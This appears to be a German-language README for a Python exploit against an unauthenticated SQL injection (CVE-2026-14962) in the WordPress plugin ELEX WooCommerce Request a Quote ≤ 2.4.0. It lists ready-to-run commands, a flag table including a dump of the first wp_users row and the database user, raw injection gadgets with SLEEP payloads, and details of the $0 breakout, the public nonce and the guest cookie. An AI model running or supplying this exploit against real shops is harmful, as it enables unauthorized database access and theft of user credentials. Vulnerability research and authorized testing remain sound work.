
Wordpress Plugin ELEX WooCommerce Request a Quote unauthentifizierte SQL-Injection
WordPress-Plugin ELEX WooCommerce Request a Quote nicht authentifizierte SQL-Injection
ELEX WooCommerce Request a Quote (WordPress-Plugin elex-request-a-quote) ≤ 2.4.0 — nicht authentifizierte SQL-Injection über die öffentliche AJAX-Aktion elex_raq_add_to_quote.
Nur für autorisierte Tests. Nicht gegen Systeme ausführen, die Sie nicht besitzen oder für die Sie keine Testgenehmigung haben.
Voraussetzungen: Python 3, nur Standardbibliothek. Das Ziel muss WooCommerce ausführen (die Quote-Skripte/Nonce werden auf der Shop-/Startseite ausgegeben).
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
| Flag | Was es bewirkt |
|---|
-u / --url | WordPress-Website-Root (erforderlich). http:// oder https://; ein Hostname wird zuerst als HTTPS versucht, dann als HTTP. Bei selbstsigniertem TLS wird automatisch erneut versucht. --insecure überspringt die Verifizierung von Anfang an |
--test | Gast: Plugin-Version + öffentliche Nonce, dann eine nicht-destruktive $0-SQL-Sonde |
--dump | Erste wp_users-Zeile + DB-Benutzer. Benötigt WP_DEBUG, damit der XPATH-Fehler im HTTP-Body steht |
--query SQL | Eigener SQL-Ausdruck (keine einfachen Anführungszeichen; 0x…-Hex für Strings verwenden) |
--sql EXPR | Rohes data[id] nach dem $0$0-Ausbruch (Sie schreiben das ) OR … #-Gadget) |
--sleep N | Zeitbasierter SLEEP(N)-Versuch |
--pid / --vid | WooCommerce-Produkt-/Variations-IDs (Variation muss nicht leer sein, um die Senke zu erreichen) |
--insecure | TLS-Verifizierung überspringen |
--timeout | HTTP-Timeout in Sekunden (Standard 30) |
Nicht authentifiziert. Die Nonce wird in request_a_quote_ajax_obj auf / und /shop/ ausgegeben. Das Gast-Cookie ist request_a_quote_user_coockie (die Schreibweise des Plugins).
--test sendet attribute_value=$0. Das verwundbare 2.4.0 preg_replace behandelt $0 als den %s-Treffer und hinterlässt ein literales %d in der Abfrage. 2.4.1 bindet JSON_CONTAINS und $0 ist nur ein JSON-Wert.
Stdout: VERSION, NONCE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, NO_NONCE, NO_DUMP, SQLERR, SLEEP.
CVE: CVE-2026-14962. Plugin-Changelog 2.4.1.
